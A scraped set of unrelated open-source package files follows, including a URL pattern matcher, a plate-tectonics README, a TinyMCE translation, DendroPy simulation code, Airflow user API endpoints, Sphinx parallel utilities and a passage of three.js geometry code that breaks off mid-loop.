class Pattern(core.PatternInterface):
default_pattern = '[^/]+'
default_format = 's'
token_re = re.compile(r'''
{
([a-zA-Z_][a-zA-Z0-9_-]*) # group 1: name
(?:: # colon and group 2: pattern
([^:{]+(?:\{[^}]+\}[^:{]*)*) # zero or more chars, can use {#}
(?:: # colon and group 3: format string
([^}]+)
)?
)?
}
''', re.X)
def __init__(self, pattern, **kwargs):
super(Pattern, self).__init__(**kwargs)
self._raw = str(pattern or '')
self._keys = set()
self._compile()
def __repr__(self):
return '<%s:r%s>' % (self.__class__.__name__,
repr(self._raw).replace('\\\\', '\\'))
def _compile(self):
self._segments = {}
format = self.token_re.sub(self._compile_sub, self._raw)
pattern = re.escape(format)
for hash, (key, patt, form) in self._segments.items():
pattern = pattern.replace(hash, '(?P<%s>%s)' % (key, patt), 1)
format = format.replace(hash, '%%(%s)%s' % (key, form), 1)
self._format_string = format
self._compiled = re.compile(pattern + r'(?=/|$)')
del self._segments
def _compile_sub(self, match):
name = match.group(1)
self._keys.add(name)
patt = match.group(2) or self.default_pattern
form = match.group(3) or self.default_format
hash = 'x%s' % hashlib.md5(name).hexdigest()
self._segments[hash] = (name, patt, form)
return hash
def _match(self, path):
m = self._compiled.match(path)
if not m:
return
return m.groupdict(), path[m.end():]
def identifiable(self):
return bool(self.constants or self._keys)
def _format(self, data):
try:
return self._format_string % data
except KeyError as e:
raise core.FormatKeyError(*e.args)
|
PypiClean
|
/PlateTectonicTools-0.4.1.tar.gz/PlateTectonicTools-0.4.1/README.md
|
# PlateTectonicTools
Python tools for plate tectonic research.
This repository contains the Python package `ptt` (short for Plate Tectonic Tools) which provides a collection of common plate tectonic functionality that researchers can use in their workflows. It is primarily built on top of the [pyGPlates](http://gplates.org/docs/pygplates/index.html) Python library.
There are also some Jupyter notebooks to demonstrate usage of the **ptt** package:
* Calculating average seafloor spreading rates of mid-ocean ridges
* Calculating subducting rate of paleo rasters along subduction zones
* Predicting CO2 from age and bottom water temperature.
*Note:* This repository is only in its initial stages. More functionality and examples will be provided in future.
## Documentation
There are some demonstrations of `ptt` that may be installed from the package itself by running:
```python
import ptt
ptt.install_documentation(path="PTT-Notebooks")
```
## Installation
### Dependencies
The following Python packages are required:
- [`numpy`](http://numpy.org)
- [`scipy`](https://scipy.org)
- [`pygplates`](http://gplates.org/docs/pygplates/pygplates_getting_started.html#installation)
__Optional dependencies__ for running the Notebooks:
- [`matplotlib`](https://matplotlib.org/)
### Installing using pip
You can install `ptt` using the
[`pip package manager`](https://pypi.org/project/pip/) with either version of Python:
```bash
python2 -m pip install PlateTectonicTools
python3 -m pip install PlateTectonicTools
```
To install the latest version from GitHub, use:
```bash
pip3 install --no-cache-dir --upgrade git+https://github.com/EarthByte/PlateTectonicTools
pip install --no-cache-dir --upgrade git+https://github.com/EarthByte/PlateTectonicTools
```
### Installing using Docker
> Coming soon...
### API Documentation
> Coming soon...
|
PypiClean
|
/django-rte-0.4.0.tar.gz/django-rte-0.4.0/rte/static/rte/tiny_mce/themes/advanced/langs/pt_dlg.js
|
tinyMCE.addI18n('pt.advanced_dlg',{"link_list":"Lista de Links","link_is_external":"A URL digitada parece conduzir a um link externo. Deseja acrescentar o prefixo necess\u00e1rio http://?","link_is_email":"A URL digitada parece ser um endere\u00e7o de e-mail. Deseja acrescentar o prefixo necess\u00e1rio mailto:?","link_titlefield":"T\u00edtulo","link_target_blank":"Abrir hyperlink em nova janela","link_target_same":"Abrir hyperlink na mesma janela","link_target":"Alvo","link_url":"URL do hyperink","link_title":"Inserir/editar hyperlink","image_align_right":"Direita","image_align_left":"Esquerda","image_align_textbottom":"Base do texto","image_align_texttop":"Topo do texto","image_align_bottom":"Abaixo","image_align_middle":"Meio","image_align_top":"Topo","image_align_baseline":"Sobre a linha de texto","image_align":"Alinhamento","image_hspace":"Espa\u00e7o Horizontal","image_vspace":"Espa\u00e7o Vertical","image_dimensions":"Dimens\u00f5es","image_alt":"Descri\u00e7\u00e3o da imagem","image_list":"Lista de imagens","image_border":"Limites","image_src":"Endere\u00e7o da imagem","image_title":"Inserir/editar imagem","charmap_title":"Selecionar caracteres personalizados","colorpicker_name":"Nome:","colorpicker_color":"Cor:","colorpicker_named_title":"Cores Personalizadas","colorpicker_named_tab":"Personalizadas","colorpicker_palette_title":"Paleta de Cores","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Editor de Cores","colorpicker_picker_tab":"Editor","colorpicker_title":"Selecione uma cor","code_wordwrap":"Quebra autom\u00e1tica de linha","code_title":"Editor HTML","anchor_name":"Nome da \u00e2ncora","anchor_title":"Inserir/editar \u00e2ncora","about_loaded":"Plugins Instalados","about_version":"Vers\u00e3o","about_author":"Autor","about_plugin":"Plugin","about_plugins":"Plugins","about_license":"Licen\u00e7a","about_help":"Ajuda","about_general":"Sobre","about_title":"Sobre o TinyMCE","anchor_invalid":"Por favor, especifique um nome v\u00e1lido de \u00e2ncora."});
|
PypiClean
|
/DendroPy_calver-2023.330.2-py3-none-any.whl/dendropy/simulate/popgensim.py
|
##############################################################################
## DendroPy Phylogenetic Computing Library.
##
## Copyright 2010-2015 Jeet Sukumaran and Mark T. Holder.
## All rights reserved.
##
## See "LICENSE.rst" for terms and conditions of usage.
##
## If you use this work or any portion thereof in published work,
## please cite it as:
##
## Sukumaran, J. and M. T. Holder. 2010. DendroPy: a Python library
## for phylogenetic computing. Bioinformatics 26: 1569-1571.
##
##############################################################################
"""
Population genetic simlations.
"""
import random
import copy
from dendropy.utility import GLOBAL_RNG
from dendropy.interop import seqgen
from dendropy.model import discrete
from dendropy.model import coalescent
import dendropy
class FragmentedPopulations(object):
def __init__(self,
div_time_gens,
num_desc_pops = 2,
mutrate_per_site_per_generation=10e-8,
desc_pop_size=10000,
use_seq_gen=False,
rng=GLOBAL_RNG):
"""
__init__ arguments:
- ``div_time_gens`` : generations since divergence,
- ``num_desc_pops`` : number of descendent populations,
- ``mutrate_per_site_per_generation`` : sequence mutation rate, per-site per-generation
- ``desc_diploid_pop_size`` : descendent lineage population size (=N; ancestral pop size = num_desc_pops * N)
- ``rng`` : random number generator
"""
self.div_time_gens = div_time_gens
self.num_desc_pops = num_desc_pops
self.mutrate_per_site_per_generation = mutrate_per_site_per_generation
self.desc_pop_size = desc_pop_size
self.rng = rng
self.kappa = 1.0
self.base_freqs=[0.25, 0.25, 0.25, 0.25]
self.seqgen_path = 'seq-gen'
self.use_seq_gen = use_seq_gen
self.gene_tree = None
self.pop_tree = None
self.mutation_tree = None
def _get_theta(self):
return 4 * self.mutrate_per_gene_per_generation * self.desc_pop_size
def generate_sequences(self,
species_name,
samples_per_pop=10,
seq_len=2000,
use_seq_gen=True):
self.generate_pop_tree(species_name=species_name, samples_per_pop=samples_per_pop)
self.generate_gene_tree(species_name=species_name, samples_per_pop=samples_per_pop)
d = dendropy.DataSet(self.mutation_tree.taxon_namespace)
if self.use_seq_gen is True:
sg = seqgen.SeqGen()
sg.seqgen_path = self.seqgen_path
sg.num_replicates = 1
sg.quiet = True
sg.rng = self.rng
sg.seq_len = seq_len
sg.char_model = 'HKY'
sg.ti_tv = float(self.kappa) / 2
sg.state_freqs = self.base_freqs
sg.trees = [self.mutation_tree]
d = sg.generate_dataset(dataset=d)
else:
char_matrix = discrete.hky85_chars(
seq_len=seq_len,
tree_model=self.mutation_tree,
mutation_rate=1.0,
kappa=1.0,
base_freqs=[0.25, 0.25, 0.25, 0.25],
root_states=None,
rng=self.rng)
d.add_char_matrix(char_matrix)
return d
def generate_pop_tree(self, species_name, samples_per_pop=10):
tree_data = { 'sp': species_name, 'divt': self.div_time_gens }
desc_lineages = []
for i in xrange(self.num_desc_pops):
tree_data['id'] = i+1
desc_lineages.append("%(sp)s%(id)d:%(divt)d" % tree_data)
tree_string = "(" + (",".join(desc_lineages)) + ("):%d" % 0) #% (self.num_desc_pops * self.desc_pop_size * 10))
self.pop_tree = dendropy.Tree.get_from_string(tree_string, schema="newick")
return self.pop_tree
def generate_gene_tree(self, species_name, samples_per_pop=10):
"""
Given:
``species_name`` : string identifying species/taxon
``samples_per_pop`` : number of samples (genes) per population
Returns:
DendroPy tree, with branch lengths in generations
"""
if self.pop_tree is None:
self.generate_pop_tree(species_name, samples_per_pop=10)
for idx, leaf in enumerate(self.pop_tree.leaf_iter()):
if idx == 1:
# ancestral population = num_desc_pops * desc population
leaf.parent_node.edge.pop_size = self.num_desc_pops * self.desc_pop_size
leaf.edge.pop_size = self.desc_pop_size
leaf.num_genes = samples_per_pop
self.gene_tree, self.pop_tree = coalescent.constrained_kingman_tree(self.pop_tree,
gene_node_label_fn=lambda x,y: "%sX%d" % (x,y),
rng=self.rng)
self.mutation_tree = copy.deepcopy(self.gene_tree)
for edge in self.mutation_tree.preorder_edge_iter():
edge.length = edge.length * self.mutrate_per_site_per_generation
return self.gene_tree
def pop_gen_tree(tree=None,
taxon_namespace=None,
ages=None,
num_genes=None,
pop_sizes=None,
num_genes_attr = 'num_genes',
pop_size_attr = 'pop_size',
rng=None):
"""
This will simulate and return a tree with edges decorated with
population sizes and leaf nodes decorated by the number of genes
(samples or lineages) in each leaf.
If ``tree`` is given, then this is used as the tree to be decorated.
Otherwise, a Yule tree is generated based on the given taxon_namespace.
Either ``tree`` or ``taxon_namespace`` must be given.
The timing of the divergences can be controlled by specifying a vector of
ages, ``ages``. This should be sequences of values specifying the ages of the
first, second, third etc. divergence events, in terms of time from the
present, specified either in generations (if the ``pop_sizes`` vector is
given) or population units (if the pop_size vector is not given).
If an ages vector is given and there are less than num_pops-1 of these,
then an exception is raised.
The number of gene lineages per population can be specified through
the 'num_genes', which can either be an scalar integer or a list.
If it is an integer, all the population get the same number of
genes. If it is a list, it must be at least as long as num_pops.
The population sizes of each edge can be specified using the ``pop_sizes``
vector, which should be a sequence of values specifying the population
sizes of the edges in postorder. If the pop_size vector is given, then it
must be at least as long as there are branches on a tree, i.e. 2 * num_pops
+ 1, otherwise it is an error. The population size should be the effective
*haploid* population size; i.e., number of gene copies in the population: 2
* N in a diploid population of N individuals, or N in a haploid population
* of N individuals.
If ``pop_size`` is 1 or 0 or None, then edge lengths of the tree are in
haploid population units; i.e. where 1 unit of time equals 2N generations
for a diploid population of size N, or N generations for a haploid
population of size N. Otherwise edge lengths of the tree are in
generations.
This function first generates a tree using a pure-birth model with a
uniform birth rate of 1.0. If an ages vector is given, it then sweeps
through the internal nodes, assigning branch lengths such that the
divergence events correspond to the ages in the vector. If a population
sizes vector is given, it then visits all the edges in postorder, assigning
population sizes to the attribute with the name specified in
'pop_size_attr' (which is persisted as an annotation). During this, if an
ages vector was *not* given, then the edge lengths are multiplied by the
population size of the edge so the branch length units will be in
generations. If an ages vector was given, then it is assumed that the ages
are already in the proper scale/units.
"""
# get our random number generator
if rng is None:
rng = GLOBAL_RNG # use the global rng by default
# get a yule tree
if not tree:
if taxon_namespace:
from dendropy.simulate import treesim
tree = treesim.uniform_pure_birth_tree(taxon_namespace=taxon_namespace,
rng=rng)
else:
raise Exception("Either tree or taxon namespace must be given")
num_pops = len(tree.leaf_nodes())
# basic idiot-checking
if ages is not None and len(ages) < (num_pops - 1):
msg = "Too few ages specified."
raise Exception(msg)
if num_genes is not None:
if isinstance(num_genes, list):
if len(num_genes) < num_pops:
msg = "Too few number of gene samples specified"
raise Exception(msg)
else:
samples = num_genes
else:
samples = [num_genes for tax in range(num_pops)]
else:
samples = None
if pop_sizes is not None and len(pop_sizes) < (2 * num_pops + 1):
msg = "Too few population sizes specified."
raise Exception(msg)
# set the ages
if ages is not None:
# get the internal nodes on the tree in reverse branching
# order, so that newest nodes are returned first
nodes = tree.nodes(filter_fn = lambda x : not x.is_leaf())
nodes.sort(key=lambda x: x.distance_from_root())
# assign the ages
for index, node in enumerate(nodes):
for child in node.child_nodes():
child.edge.length = ages[index] - child.distance_from_tip()
# set the gene samples
if samples is not None:
for index, leaf in enumerate(tree.leaf_node_iter()):
setattr(leaf, num_genes_attr, samples[index])
leaf.annotations.add_bound_attribute(num_genes_attr)
# set the population sizes
if pop_sizes is not None:
index = 0
for edge in tree.postorder_edge_iter():
setattr(edge, pop_size_attr, pop_sizes[index])
edge.annotations.add_bound_attribute(pop_size_attr)
if ages is None:
edge.length = edge.length * getattr(edge, pop_size_attr)
index = index + 1
return tree
|
PypiClean
|
/apache-airflow-2.7.0.tar.gz/apache-airflow-2.7.0/airflow/api_connexion/endpoints/user_endpoint.py
|
from __future__ import annotations
from http import HTTPStatus
from connexion import NoContent
from flask import request
from marshmallow import ValidationError
from sqlalchemy import asc, desc, func, select
from werkzeug.security import generate_password_hash
from airflow.api_connexion import security
from airflow.api_connexion.exceptions import AlreadyExists, BadRequest, NotFound, Unknown
from airflow.api_connexion.parameters import check_limit, format_parameters
from airflow.api_connexion.schemas.user_schema import (
UserCollection,
user_collection_item_schema,
user_collection_schema,
user_schema,
)
from airflow.api_connexion.types import APIResponse, UpdateMask
from airflow.auth.managers.fab.models import Role, User
from airflow.security import permissions
from airflow.utils.airflow_flask_app import get_airflow_app
@security.requires_access([(permissions.ACTION_CAN_READ, permissions.RESOURCE_USER)])
def get_user(*, username: str) -> APIResponse:
"""Get a user."""
ab_security_manager = get_airflow_app().appbuilder.sm
user = ab_security_manager.find_user(username=username)
if not user:
raise NotFound(title="User not found", detail=f"The User with username `{username}` was not found")
return user_collection_item_schema.dump(user)
@security.requires_access([(permissions.ACTION_CAN_READ, permissions.RESOURCE_USER)])
@format_parameters({"limit": check_limit})
def get_users(*, limit: int, order_by: str = "id", offset: str | None = None) -> APIResponse:
"""Get users."""
appbuilder = get_airflow_app().appbuilder
session = appbuilder.get_session
total_entries = session.execute(select(func.count(User.id))).scalar()
direction = desc if order_by.startswith("-") else asc
to_replace = {"user_id": "id"}
order_param = order_by.strip("-")
order_param = to_replace.get(order_param, order_param)
allowed_filter_attrs = [
"id",
"first_name",
"last_name",
"user_name",
"email",
"is_active",
"role",
]
if order_by not in allowed_filter_attrs:
raise BadRequest(
detail=f"Ordering with '{order_by}' is disallowed or "
f"the attribute does not exist on the model"
)
query = select(User).order_by(direction(getattr(User, order_param))).offset(offset).limit(limit)
users = session.scalars(query).all()
return user_collection_schema.dump(UserCollection(users=users, total_entries=total_entries))
@security.requires_access([(permissions.ACTION_CAN_CREATE, permissions.RESOURCE_USER)])
def post_user() -> APIResponse:
"""Create a new user."""
try:
data = user_schema.load(request.json)
except ValidationError as e:
raise BadRequest(detail=str(e.messages))
security_manager = get_airflow_app().appbuilder.sm
username = data["username"]
email = data["email"]
if security_manager.find_user(username=username):
detail = f"Username `{username}` already exists. Use PATCH to update."
raise AlreadyExists(detail=detail)
if security_manager.find_user(email=email):
detail = f"The email `{email}` is already taken."
raise AlreadyExists(detail=detail)
roles_to_add = []
missing_role_names = []
for role_data in data.pop("roles", ()):
role_name = role_data["name"]
role = security_manager.find_role(role_name)
if role is None:
missing_role_names.append(role_name)
else:
roles_to_add.append(role)
if missing_role_names:
detail = f"Unknown roles: {', '.join(repr(n) for n in missing_role_names)}"
raise BadRequest(detail=detail)
if not roles_to_add: # No roles provided, use the F.A.B's default registered user role.
roles_to_add.append(security_manager.find_role(security_manager.auth_user_registration_role))
user = security_manager.add_user(role=roles_to_add, **data)
if not user:
detail = f"Failed to add user `{username}`."
raise Unknown(detail=detail)
return user_schema.dump(user)
@security.requires_access([(permissions.ACTION_CAN_EDIT, permissions.RESOURCE_USER)])
def patch_user(*, username: str, update_mask: UpdateMask = None) -> APIResponse:
"""Update a user."""
try:
data = user_schema.load(request.json)
except ValidationError as e:
raise BadRequest(detail=str(e.messages))
security_manager = get_airflow_app().appbuilder.sm
user = security_manager.find_user(username=username)
if user is None:
detail = f"The User with username `{username}` was not found"
raise NotFound(title="User not found", detail=detail)
# Check unique username
new_username = data.get("username")
if new_username and new_username != username:
if security_manager.find_user(username=new_username):
raise AlreadyExists(detail=f"The username `{new_username}` already exists")
# Check unique email
email = data.get("email")
if email and email != user.email:
if security_manager.find_user(email=email):
raise AlreadyExists(detail=f"The email `{email}` already exists")
# Get fields to update.
if update_mask is not None:
masked_data = {}
missing_mask_names = []
for field in update_mask:
field = field.strip()
try:
masked_data[field] = data[field]
except KeyError:
missing_mask_names.append(field)
if missing_mask_names:
detail = f"Unknown update masks: {', '.join(repr(n) for n in missing_mask_names)}"
raise BadRequest(detail=detail)
data = masked_data
roles_to_update: list[Role] | None
if "roles" in data:
roles_to_update = []
missing_role_names = []
for role_data in data.pop("roles", ()):
role_name = role_data["name"]
role = security_manager.find_role(role_name)
if role is None:
missing_role_names.append(role_name)
else:
roles_to_update.append(role)
if missing_role_names:
detail = f"Unknown roles: {', '.join(repr(n) for n in missing_role_names)}"
raise BadRequest(detail=detail)
else:
roles_to_update = None # Don't change existing value.
if "password" in data:
user.password = generate_password_hash(data.pop("password"))
if roles_to_update is not None:
user.roles = roles_to_update
for key, value in data.items():
setattr(user, key, value)
security_manager.update_user(user)
return user_schema.dump(user)
@security.requires_access([(permissions.ACTION_CAN_DELETE, permissions.RESOURCE_USER)])
def delete_user(*, username: str) -> APIResponse:
"""Delete a user."""
security_manager = get_airflow_app().appbuilder.sm
user = security_manager.find_user(username=username)
if user is None:
detail = f"The User with username `{username}` was not found"
raise NotFound(title="User not found", detail=detail)
user.roles = [] # Clear foreign keys on this user first.
security_manager.get_session.delete(user)
security_manager.get_session.commit()
return NoContent, HTTPStatus.NO_CONTENT
|
PypiClean
|
/dog-optimizer-1.0.3.tar.gz/dog-optimizer-1.0.3/src/dog/averager.py
|
import logging
import torch
from torch import nn
from copy import deepcopy
logger = logging.getLogger(__name__)
class PolynomialDecayAverager:
"""
Averaging model weights using a polynomial decay, as described in Shamir & Zhang, 2013.
Given parameters x_t at iteration t, the averaged parameters are updated as follows:
.. math::
\begin{aligned}
\bar{x}_t = (1 - \frac{1+\gamma}{t+\gamma}) \cdot \bar{x}_{t-1} + \frac{1+\gamma}{t+\gamma} \cdot x_t
\end{aligned}
"""
def __init__(self, model: nn.Module, gamma: float = 8.):
self.t = 1
self.model = model
self.av_model = deepcopy(model)
self.gamma = gamma
self._matched_devices = False
def step(self):
self._match_models_devices()
t = self.t
model_sd = self.model.state_dict()
av_sd = self.av_model.state_dict()
for k in model_sd.keys():
if isinstance(av_sd[k], (torch.LongTensor, torch.cuda.LongTensor)):
# these are buffers that store how many batches batch norm has seen so far
av_sd[k].copy_(model_sd[k])
continue
av_sd[k].mul_(1 - ((self.gamma + 1) / (self.gamma + t))).add_(
model_sd[k], alpha=(self.gamma + 1) / (self.gamma + t)
)
self.t += 1
def _match_models_devices(self):
if self._matched_devices:
return
# nn.Module does not always have a device attribute, so we check if the model has one and use it to match
# the device where the av_model is stored
if hasattr(self.model, 'device'):
if self.model.device != self.av_model.device:
self.av_model = self.av_model.to(self.model.device)
else:
# This could be a problem if the model is split across multiple devices in a distributed manner
model_device, av_device = next(self.model.parameters()).device, next(self.av_model.parameters()).device
if model_device != av_device:
self.av_model = self.av_model.to(model_device)
self._matched_devices = True
def reset(self):
self.t = 1
@property
def averaged_model(self):
"""
@return: returns the averaged model (the polynomial decay averaged model)
"""
return self.av_model
@property
def base_model(self):
"""
@return: returns the base model (the one that is being trainer)
"""
return self.model
def state_dict(self):
"""
@return: returns the state dict of the averager.
Note that if you wish to save the averaged model itself, as a loadable weights checkpoint,
you should use averager.averaged_model.state_dict().
"""
return {
't': self.t,
'av_model': self.av_model.state_dict()
}
def load_state_dict(self, state_dict):
"""
Loads the state dict of the averager.
@param state_dict: A state dict as returned by averager.state_dict()
"""
self.t = state_dict['t']
self.av_model.load_state_dict(state_dict['av_model'])
|
PypiClean
|
/GxSphinx-1.0.0.tar.gz/GxSphinx-1.0.0/sphinx/util/parallel.py
|
import os
import platform
import sys
import time
import traceback
from math import sqrt
from typing import Any, Callable, Dict, List, Sequence
try:
import multiprocessing
except ImportError:
multiprocessing = None
from sphinx.errors import SphinxParallelError
from sphinx.util import logging
logger = logging.getLogger(__name__)
# our parallel functionality only works for the forking Process
#
# Note: "fork" is not recommended on macOS and py38+.
# see https://bugs.python.org/issue33725
parallel_available = (multiprocessing and
(os.name == 'posix') and
not (sys.version_info > (3, 8) and platform.system() == 'Darwin'))
class SerialTasks:
"""Has the same interface as ParallelTasks, but executes tasks directly."""
def __init__(self, nproc: int = 1) -> None:
pass
def add_task(self, task_func: Callable, arg: Any = None, result_func: Callable = None) -> None: # NOQA
if arg is not None:
res = task_func(arg)
else:
res = task_func()
if result_func:
result_func(res)
def join(self) -> None:
pass
class ParallelTasks:
"""Executes *nproc* tasks in parallel after forking."""
def __init__(self, nproc: int) -> None:
self.nproc = nproc
# (optional) function performed by each task on the result of main task
self._result_funcs = {} # type: Dict[int, Callable]
# task arguments
self._args = {} # type: Dict[int, List[Any]]
# list of subprocesses (both started and waiting)
self._procs = {} # type: Dict[int, multiprocessing.Process]
# list of receiving pipe connections of running subprocesses
self._precvs = {} # type: Dict[int, Any]
# list of receiving pipe connections of waiting subprocesses
self._precvsWaiting = {} # type: Dict[int, Any]
# number of working subprocesses
self._pworking = 0
# task number of each subprocess
self._taskid = 0
def _process(self, pipe: Any, func: Callable, arg: Any) -> None:
try:
collector = logging.LogCollector()
with collector.collect():
if arg is None:
ret = func()
else:
ret = func(arg)
failed = False
except BaseException as err:
failed = True
errmsg = traceback.format_exception_only(err.__class__, err)[0].strip()
ret = (errmsg, traceback.format_exc())
logging.convert_serializable(collector.logs)
pipe.send((failed, collector.logs, ret))
def add_task(self, task_func: Callable, arg: Any = None, result_func: Callable = None) -> None: # NOQA
tid = self._taskid
self._taskid += 1
self._result_funcs[tid] = result_func or (lambda arg, result: None)
self._args[tid] = arg
precv, psend = multiprocessing.Pipe(False)
proc = multiprocessing.Process(target=self._process,
args=(psend, task_func, arg))
self._procs[tid] = proc
self._precvsWaiting[tid] = precv
self._join_one()
def join(self) -> None:
while self._pworking:
self._join_one()
def _join_one(self) -> None:
for tid, pipe in self._precvs.items():
if pipe.poll():
exc, logs, result = pipe.recv()
if exc:
raise SphinxParallelError(*result)
for log in logs:
logger.handle(log)
self._result_funcs.pop(tid)(self._args.pop(tid), result)
self._procs[tid].join()
self._precvs.pop(tid)
self._pworking -= 1
break
else:
time.sleep(0.02)
while self._precvsWaiting and self._pworking < self.nproc:
newtid, newprecv = self._precvsWaiting.popitem()
self._precvs[newtid] = newprecv
self._procs[newtid].start()
self._pworking += 1
def make_chunks(arguments: Sequence[str], nproc: int, maxbatch: int = 10) -> List[Any]:
# determine how many documents to read in one go
nargs = len(arguments)
chunksize = nargs // nproc
if chunksize >= maxbatch:
# try to improve batch size vs. number of batches
chunksize = int(sqrt(nargs / nproc * maxbatch))
if chunksize == 0:
chunksize = 1
nchunks, rest = divmod(nargs, chunksize)
if rest:
nchunks += 1
# partition documents in "chunks" that will be written by one Process
return [arguments[i * chunksize:(i + 1) * chunksize] for i in range(nchunks)]
|
PypiClean
|
/preprocessing_pgp-0.2.10-py3-none-any.whl/preprocessing_pgp/name/utils.py
|
import pandas as pd
from preprocessing_pgp.name.const import (
NICKNAME_REGEX,
WITH_ACCENT_ELEMENT_POPULARITY,
WITHOUT_ACCENT_ELEMENT_POPULARITY,
)
from unidecode import unidecode
def remove_nicknames(name_df: pd.DataFrame, name_col: str) -> pd.DataFrame:
"""
Remove nicknames in name column given the data
Parameters
----------
name_df : pd.DataFrame
The data process
name_col : str
The name column in data to remove nickname
Returns
-------
pd.DataFrame
Cleaned data without nickname -- added new column `clean_name_col`
"""
name_df[name_col] = (
name_df[name_col].str.replace(NICKNAME_REGEX, "", regex=True).str.strip()
)
return name_df
def is_name_accented(name: str) -> bool:
"""
Check whether the name is accented or not
Parameters
----------
name : str
The input name
Returns
-------
bool
Whether the name is accented
"""
return unidecode(name) != name
def get_name_popularity(name: str, popularity_dict: dict) -> int:
"""
Get the name popularity from dict
Parameters
----------
name : str
The input name to get popularity
popularity_dict : pd.DataFrame
Popularity dictionary from hdfs
Returns
-------
int
The popularity if exist, otherwise 0
"""
return popularity_dict.get(name.lower(), 0)
def choose_best_name(raw_name: str, enrich_name: str) -> str:
"""
Choose the best name element from raw and inference to get the best of all the possibilities
Parameters
----------
raw_name : str
The raw input name (better if cleaned)
enrich_name : str
The inference name from the raw name
Returns
-------
str
The best possible name that we can get
"""
# * Edge case -- All names are None
if all([None in [raw_name, enrich_name]]):
return None
# * Split name into elements to process better
raw_components = raw_name.split(" ")
enrich_components = enrich_name.split(" ")
# * Wrong enrich - the number of components are different
if len(raw_components) != len(enrich_components):
return raw_name
# * Loop through all components -> Find best name components
best_name_components = []
for raw_component, enrich_component in zip(raw_components, enrich_components):
# ? Get with_accent popularity
raw_popularity = get_name_popularity(
raw_component, WITH_ACCENT_ELEMENT_POPULARITY
)
enrich_popularity = get_name_popularity(
enrich_component, WITH_ACCENT_ELEMENT_POPULARITY
)
# ? CASE 1: MAX popularity is not 0
max_popularity = max(raw_popularity, enrich_popularity)
if max_popularity != 0:
best_component = (
enrich_component
if enrich_popularity == max_popularity
else raw_component
)
best_name_components.append(best_component)
continue
# ? CASE 2: Both not have the popularity (not exist in dictionary)
de_raw_popularity = get_name_popularity(
raw_component, WITHOUT_ACCENT_ELEMENT_POPULARITY
)
de_enrich_popularity = get_name_popularity(
enrich_component, WITHOUT_ACCENT_ELEMENT_POPULARITY
)
max_de_popularity = max(de_raw_popularity, de_enrich_popularity)
# ? SUB CASE 2: MAX de_popularity is 0 =>> Skip
if max_de_popularity == 0:
continue
# ? Else choose the most popular one
best_de_component = (
enrich_component
if de_enrich_popularity == max_de_popularity
else raw_component
)
best_name_components.append(best_de_component)
return " ".join(best_name_components).strip().title()
|
PypiClean
|
/scikit-discovery-0.9.18.tar.gz/scikit-discovery-0.9.18/skdiscovery/data_structure/series/accumulators/plotter.py
|
from skdiscovery.data_structure.framework import PipelineItem
import numpy as np
import matplotlib.pyplot as plt
import math
class Plotter(PipelineItem):
'''
Make a plot of series data
'''
def __init__(self, str_description, num_columns = 3, errorbars=False, width=13, height=4, **kwargs):
'''
Initialize Plotter
@param str_description: String describing accumulator
@param num_columns: Number of columns to use when plotting data
@param errorbars: Flag indicating if errorbars should be used
@param width: Total width of all columns combined
@param height: Height of single row of plots
@param **kwargs: Any additional keyword arguments are passed on to matplotlib
'''
self.kwargs = kwargs
self.num_columns = num_columns
self.errorbars = errorbars
self.height = height
self.width = width
super(Plotter, self).__init__(str_description, [])
def process(self, obj_data):
'''
Plot each column in obj_data
@param obj_data: Data Wrapper
'''
width = self.width
height = self.height
labels = []
data = []
errors = []
for label, series, err in obj_data.getIterator():
data.append(series)
errors.append(err)
labels.append(label)
# if len(data) > self.num_columns:
# width *= self.num_columns
# else:
# width *= len(data)
if len(labels) > 0:
rows = math.ceil(len(labels) / self.num_columns)
height *= rows
figure = plt.figure()
figure.set_size_inches(width, height, True)
for label, series, err, num in zip(labels, data, errors, range(1,len(labels)+1)):
plt.subplot(rows, self.num_columns, num)
plt.title(series.name)
plt.ylabel(label)
plt.xticks(rotation=45)
if self.errorbars:
plt.errorbar(np.array(series.index),np.array(series), yerr=np.array(err), **self.kwargs)
else:
plt.plot(series, **self.kwargs)
plt.tight_layout()
if(obj_data.run_id > -1):
figure.suptitle( "Run: " + str(obj_data.run_id), y=1.02)
|
PypiClean
|
/jupyros-0.7.0a0.tar.gz/jupyros-0.7.0a0/js/node_modules/three/src/renderers/webgl/WebGLGeometries.js
|
import { Uint16BufferAttribute, Uint32BufferAttribute } from '../../core/BufferAttribute.js';
import { BufferGeometry } from '../../core/BufferGeometry.js';
import { arrayMax } from '../../utils.js';
function WebGLGeometries( gl, attributes, infoMemory ) {
var geometries = {};
var wireframeAttributes = {};
function onGeometryDispose( event ) {
var geometry = event.target;
var buffergeometry = geometries[ geometry.id ];
if ( buffergeometry.index !== null ) {
attributes.remove( buffergeometry.index );
}
for ( var name in buffergeometry.attributes ) {
attributes.remove( buffergeometry.attributes[ name ] );
}
geometry.removeEventListener( 'dispose', onGeometryDispose );
delete geometries[ geometry.id ];
// TODO Remove duplicate code
var attribute = wireframeAttributes[ geometry.id ];
if ( attribute ) {
attributes.remove( attribute );
delete wireframeAttributes[ geometry.id ];
}
attribute = wireframeAttributes[ buffergeometry.id ];
if ( attribute ) {
attributes.remove( attribute );
delete wireframeAttributes[ buffergeometry.id ];
}
//
infoMemory.geometries --;
}
function get( object, geometry ) {
var buffergeometry = geometries[ geometry.id ];
if ( buffergeometry ) return buffergeometry;
geometry.addEventListener( 'dispose', onGeometryDispose );
if ( geometry.isBufferGeometry ) {
buffergeometry = geometry;
} else if ( geometry.isGeometry ) {
if ( geometry._bufferGeometry === undefined ) {
geometry._bufferGeometry = new BufferGeometry().setFromObject( object );
}
buffergeometry = geometry._bufferGeometry;
}
geometries[ geometry.id ] = buffergeometry;
infoMemory.geometries ++;
return buffergeometry;
}
function update( geometry ) {
var index = geometry.index;
var geometryAttributes = geometry.attributes;
if ( index !== null ) {
attributes.update( index, gl.ELEMENT_ARRAY_BUFFER );
}
for ( var name in geometryAttributes ) {
attributes.update( geometryAttributes[ name ], gl.ARRAY_BUFFER );
}
// morph targets
var morphAttributes = geometry.morphAttributes;
for ( var name in morphAttributes ) {
var array = morphAttributes[ name ];
for ( var i = 0, l = array.length; i < l; i ++ ) {
attributes.update( array[ i ], gl.ARRAY_BUFFER );
}
}
}
function getWireframeAttribute( geometry ) {
var attribute = wireframeAttributes[ geometry.id ];
if ( attribute ) return attribute;
var indices = [];
var geometryIndex = geometry.index;
var geometryAttributes = geometry.attributes;
// console.time( 'wireframe' );
if ( geometryIndex !== null ) {
var array = geometryIndex.array;
for ( var i = 0, l = array.length; i < l; i += 3 ) {
var a = array[ i + 0 ];
var b = array[ i + 1 ];
